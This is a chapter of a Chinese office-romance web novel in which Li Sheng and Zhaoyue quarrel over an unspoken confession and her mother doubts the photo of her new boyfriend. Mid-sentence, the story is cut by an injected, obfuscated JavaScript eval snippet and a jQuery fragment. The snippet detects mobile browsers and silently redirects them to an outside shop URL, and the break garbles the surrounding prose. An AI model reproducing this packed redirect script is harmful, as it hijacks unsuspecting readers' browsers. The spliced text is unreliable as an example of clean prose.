二十分钟过去。
办公室独占走廊尽头，偏远僻静。回来时，厉盛略感疲惫，抬手摘掉平光镜，顺便扯松了领带。
紧缚感消失，他期待着治愈的笑脸。
门开了。
月月没有笑，而是双腿悬空，孤身坐上了长桌，兀自盯着光滑的地板。
待客的旋转椅被踢到一旁。房间死气沉沉，一根针落地都能听见。
厉盛走到她面前，低头凑近。
她发丝的留香慢慢飘上来。
“怎么坐这么高。”
招月两条腿晃了晃，扬起摇曳的视线。
“因为……你弯腰会累。”
办公桌抬升了高度，依然难以弥补三十厘米的差距，显得她的话像个怯生生的谎。
但厉盛听懂了那句暗示。
他还是要俯身，姿势却不同，脊背深深向她收拢，张开的手掌撑在她膝盖两侧。
“啾”，微润的轻吻落在额头。
柑橘香味一瞬间倾覆下去。
招月自然而然闭了眼，心间暗暗不满。
“再往下点。”
“嗯？”
他照做，吻到小猫冰凉的鼻尖。
招月仰头顺应着他的气息，眯起双眼。
向下了，但没到想要的位置。一吻结束，她垂眼，看向他撑在膝盖边的手。
“电脑我帮你关了。”她说。
厉盛瞥过她身后的笔记本电脑。
走时开着，现在合上了，银白色外壳反射出几道划痕，仿佛散发着无声的愠怒。
他分明记得那是电脑的旧伤。
“你不开心？”
厉盛眸中的笑意削减了几分。
招月用指尖卷上他的领带。质地柔滑细腻，却透着淡淡的冷。
“厉总，”她低着头，“你没有什么要对我说的吗。”
领带一圈圈向上翻折，卷成丝绸的漩涡，快折到胸膛再一口气放开。
厉盛犹豫着，看她重复这个动作。
他想说喜欢她。
但只差一点了，就一点，向日葵还没完全绽开。
他喉结轻滚，咽下了心底的告白。
“牛角包不用还我。”
招月专心给真丝的布料打卷：“不行。”
“因为‘太贵了’？”
“嗯。”
领带慢慢散开，恢复原状，留不下任何折痕。
厉盛突然感到不安。反复翻卷却无痕的质地，提醒他月月是个随时会从捉迷藏里提前离场的人。
他收回手，将她一把按进怀里。
“我让你有压力了么。”
温柔的柑橘香气沁入心脾。
招月闷声说：“稍微有点，如果你总送我贵重的东西，我不知道怎么回礼。”
“不用回礼，”他下巴抵在她发顶，“如果觉得沉重，就当作从我这里买的，分期付款，每天还零点五元。”
她讶异地抬起头：“每天五毛？那要还多久？”
“大概四十九年。”他说。
“……”
直接绑定半辈子，这不是更沉重了吗？
招月一边吐槽，一边在他胸膛蹭了蹭，两手环住他收窄的腰。
“算了，”她喃喃道，“亏你想得出来……”
男人弯了弯唇角。衬衫被她脸颊来来回回蹂躏，难免折出褶皱，但他反而喜欢月月留下的痕迹。
“等会儿一起下楼？”
“不要。”
“为什么。”
“就是不要。”
招月有点后悔坐上了桌子。
这姿势反而让他抱起来更顺手了。二十分钟前，她可是万分忐忑地跳上跳下，生怕董事长或哪位张总王总李总和他一起进来。
她听着厉盛的心跳读秒，读到第一百二十下推开他。
“我先回去打卡！”
不要搭同一班电梯，不能心软，不准笑。她给自己定下三条禁令，整理好围巾和耳机，离开办公区。
下班高峰，电梯间排起了长队。门开之后，大秘书提着两盒蛋糕卷从里面飞出来。
“书颐还没走吧？”
他路过招月，匆匆问。
她耳朵里一半音乐，一半是嘈杂的人声。
“还没。”
“谢啦。哎，这耳机最近很流行啊，我看厉总也戴了副白的。”大秘书容光焕发，朝她抬抬下巴，“走啦。”
招月目光飘忽地留在原地。
没错，一定是因为“流行”，音质尚可又佩戴无感，他才买了第二副。一定不是因为他想暗地里计划着戴情侣款。
她默默摘掉耳机收进口袋。
十分钟后，车内。
招月坐在副驾驶位，对着后视镜，用拇指和食指抵住嘴唇两侧，左右撑开。
“还是不开心么。”
厉盛余光关照着她。
“没有啊。”
招月不可能直说，自己在练习如何保持冷脸。
其实她挺擅长的，甚至是无意识擅长，毕竟洋洋都说她有时候笑容里透着拒绝。
但现在，招月总想到身边这个男人要给她涂同款香水，和她戴同款耳机，这些不动声色的伎俩让她很难藏住自己的表情。
……他好像越来越像狗了。
打住。
她指尖抵住唇边酒窝：“厉总。”
他应一声。
“中午你在走廊里说的‘随时’，是逗我的吧。”
她明明给那句话定性了，此刻却偏要提起。
“你根本没准备好。”
招月面朝窗外，留个侧影，言语上步步紧逼。
红灯，车子停下。厉盛握着方向盘，转头只看见月月乌黑的长发。
主副驾驶之间隔了一个扶手箱，却宛如划开一道深深的裂隙。
他想起笔记本外壳的划痕。
“月月……”
招月蓦地转过去，小半张脸埋在松软的橘色围巾里，眼神敏锐而坚定，像黑夜里发光的猫瞳。
“真的，没有想对我说的话吗。”
*
后来，车内的空气几乎停止流动，暖风碰撞着柑橘香水的涩感，凝结成郁郁寡欢的潮闷。
——她不开心了。
但他不确定是不是因为自己欠她一句告白。
电梯上行途中，厉盛牵了她的手。月月没挣开，也不回握。
晚餐，他试图找些轻松的话题。月月往嘴巴里塞满食物，没空接。
时间更晚些，两人淋浴后换了居家服，坐在客厅看电影。月月不肯靠过来，反而为了铃声大作得手机一溜烟跑得没影。
厉盛以为她在兑现中午的惩罚。
她想看他哭。
他宁愿她只是坏心眼、恶作剧，只是想看他哭。
……
与此同时，招月正攥着手机，随便跑进一个敞开的房间。
来电显示是李女士，她远在西夏老家的妈。看到屏幕上的备注，她已经料到要谈起什么，便光速找个角落藏了起来。
要接吗？
她独自天人交战。
可是妈早晚会知道的。
招月叹了口气，小心翼翼按下接听：“喂……？”
“喂？丫头，最近咋一直没打电话来。”
“快到年底了，工作忙嘛。”她低头揪着自己袖口。
“上次给你寄的苹果吃完了吧？还有，和小刘见面的事儿怎么样啦，你阿姨一直催呢么。”
熟悉的西夏普通话之后，是长达五秒的静默。
他们不合适，没有任何一点能契合。但招月狠不下心告诉妈妈真相，怕他们的矛盾伤及长辈的友谊。
她时常不在老家，所以总盼着李女士多交朋友。为了不影响妈的人脉，继续瞒下去好像是她唯一能做的事。
换作半个月以前，招月会这么想。
“那次见面我们……不太愉快。”
她慢吞吞交代，顿了顿，立刻转向下一句——
“不过我现在交到男朋友了！和我在同一个公司，每天一起上下班也方便，还能省房租。妈你不是说过大两岁好，会疼人吗，现在的男朋友刚好也大我两岁。”
出门在外，身份是自己给的，因缘也是。
严格来说他算是她的“男朋友”吗？
虽然抱过了也亲过了，虽然睡过同一张床，虽然眼睛里也什么都看过了，但高速飞奔至后现代的社会里，连陌生人都能那么干，如果没有确切告白，没有彼此唯一的约定的话，应该也……
总之，她先编出一通理由来搪塞远方的妈。
果然妈是不信的。
“就这么短的时间，你有对象了？之前咋不和我说呢，你把图发来看看嘛。”
招月能想象出李女士嫌弃的表情。
不过照
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168439|186944||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
片而已，那还不简单。
“我现在就给你发，别挂啊。”
她小跑着回了客厅，对着静坐在沙发上看电影的宽肩窄腰冰山脸一顿乱拍。
厉盛：“……？”
招月指指手机听筒，示意电话未断，再次奔向隐蔽的书房。
“妈，我发过去啦。”
她都不用挑，直接全选发过去。客厅灯光幽暗，但挡不住厉盛优越的五官。像上上次痛经那天，在电梯里看见小秘书给的PPT，明明那么糊的相片，在他的加持下却显得清晰起来。
“哦哟，我的天呢，你发的这个人……”
李女士切回微信，一张张往下翻，因为拿远了手机又没开免提，后半句听不见了。
“啊？”
“我说你发的这个人……”
“啊——？”
“我说，”李女士突然大嗓门，“你这丫头子，以为你妈没玩过豆包吗。”
“呃……”
“就这种图，我们和王阿姨刘阿姨玩过好多嘞，那豆包可厉害了，多帅的都能生成出来。”
妈怀疑厉总是AI生成的。
招月一时无语：“那……”
话没说完，走廊传来脚步声，AI制作的男人正在逐步靠近。
她不想被厉盛知道自己已经擅自将他定义为“男朋友”，于是对着手机扔了标点符号：
“妈我先挂了忽然领导找我有点事必须处理明后天再给你打！”
挂机加免打扰，一气呵成。
恰好那男人走到门外，伸手拨开了书房的壁灯。
“在和妈妈打电话？”
他似乎莫名地如释重负。
招月把手机丢在一旁：“你偷听。”
“不用偷。”
厉盛是沿着声音走过来的。但他很快就自我反思，如果想守住边界感，可以自行戴上耳机。
可他没有，他想听。
“好吧，对不起，我确实偷听了，因为今晚你对我……”
厉盛眉心微蹙，双眸却深深垂下去，眼里翻涌着波澜。
AI能生成这么生动的人吗，招月不禁想。
她眨了眨眼：“冷漠？”
“别说你在模仿我。”
他牵起月月的手，掌心全然包裹。
体贴的人，连借口都帮她堵上了。招月被他牵着，径直走向书房的升降桌旁，身子轻轻一旋便坐上去。
“就……先说电话的事吧。之前在茶水间和你说过，我那时候在相亲。”
她回避着厉盛的视线，用空荡荡的左手按下桌角的按钮。
桌面开始缓缓移动。
“对方是我妈介绍的老乡，长辈们互相认识，所以见了一面。”
他眼里，月亮在逐渐攀升。
“我和他非常、非常不合适，我觉得他一直想教我点什么，但那都不是最重要的……”
她抿了抿唇，纤薄的身体透出一缕倦怠感。
“第二次见面，他引用了一段毛姆的小说节选，想说服我和他交往。你知道的吧，那句‘你是二流货色我依然爱你’。”
月亮上升至最高处。
“我当场就回嘴，说我很聪明，愚蠢的是他。过了几天，我刷到他的社交帐号，他在上面评价我的外表，和他的好哥们夸夸其谈。其实不用在乎这个烂人的看法，但是……”
招月眉尖攒起，移开视线。
“有时候难免会想起来，就像虫子掉在胳膊上，人类比昆虫强大多了，可是那块皮肤偶尔还是发麻。”
她睫毛颤动着，吐出心中的郁结。
厉盛慢慢地了解，他的月月是个自尊心极强的女孩。小猫小狗是很好的东西，但她想当人。作为人的尊严，作为人应当拥有的权利，作为人的完整和复杂。
在那次交锋的餐桌上，究竟谁是二流货色，显而易见。
他不用多说什么，只需要握住她麻木的手臂，直到她的感知彻底恢复。
“不过，我今天说这些，不是为了倒苦水的。”
忽然，招月挥开了他的手。
厉盛终于察觉，她最终停下的高度与他持平。
不必仰望或俯瞰，不偏不倚的平视。
“现在可以告诉我了吗。”
她捞起手机，调出通讯录，露出他的备注。
「惟安」
“你外国朋友口中的Vivian，是谁？”